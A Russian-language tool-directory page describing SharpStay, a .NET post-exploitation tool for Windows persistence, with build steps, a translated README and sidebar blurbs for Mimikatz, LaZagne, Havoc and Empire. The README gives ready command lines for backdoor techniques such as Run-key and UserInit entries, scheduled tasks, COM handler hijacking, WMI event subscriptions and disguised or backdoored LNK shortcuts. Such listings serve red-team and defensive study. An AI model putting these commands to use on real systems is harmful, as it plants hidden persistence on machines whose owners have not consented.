SharpStay

Post-Exploitation не обновлялся >2 лет

.NET-инструмент для установки механизмов персистентности в Windows.

GitHub Forgejo Mirror
windows post-exploitation persistence
Post-Exploitation
Похожие инструменты
Mimikatz
Post-Exploitation

Инструмент для извлечения паролей, хешей, PIN-кодов и Kerberos-тикетов из памяти Windows. Поддерживает Pass-the-Hash, Pass-the-Ticket, Golden/Silver Ticket, …
LaZagne
Post-Exploitation

Кросс-платформенный инструмент для извлечения сохранённых паролей из десятков приложений: браузеры, почтовые клиенты, SSH-клиенты, мессенджеры, БД, VPN, …
Havoc
Post-Exploitation

Современный C2-фреймворк (Command & Control) с поддержкой кастомных имплантов (Demon), reflective loading, sleep obfuscation, OPSEC-режимов и …
Empire
Post-Exploitation

Постэксплуатационный фреймворк BC Security (форк оригинального PowerShell Empire). Поддерживает PowerShell, Python и C# агентов. Включает 300+ …
Установка 
git clone https://github.com/0xthirteen/SharpStay.git
# Visual Studio: открыть SharpStay.sln -> Build
# или командная строка:
dotnet build SharpStay.csproj
# Готовая DLL также входит в состав StayKit (Cobalt Strike aggressor)
показать оригинал переведено ИИ

SharpStay - .NET Персистентность

Сборка

Чтобы скомпилировать, откройте проект Visual Studio и соберите релиз.

Параметры

* Повышенные ключи реестра * Повышенный ключ реестра UserInit * Повышенная запланированная задача * Повышенное создание службы * Повышенная подписка на событие WMI

* Неповышенный ключ реестра InitMprLogonScript * Неповышенный захват обработчика COM запланированной задачи * Неповышенная папка junction

* Прочее Добавление действия запланированной задачи * Прочее Каталог автозагрузки * Прочее Создание LNK * Прочее LNK с бекдором * Прочее Имена задач * Прочее Список запланированных задач * Прочее Список запущенных служб * Прочее Получение обработчиков COM запланированной задачи

Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1

Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction

Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"

Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup 

Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}

Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"

Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"

Sharpstay.exe action=ListTaskNames

Sharpstay.exe action=ListScheduledTasks

Sharpstay.exe action=ListRunningServices

Sharpstay.exe action=GetScheduledTaskCOMHandler

cleanup=true является опцией для каждого типа персистентности.

Часть StayKit

Комментарии
Войдите, чтобы оставить комментарий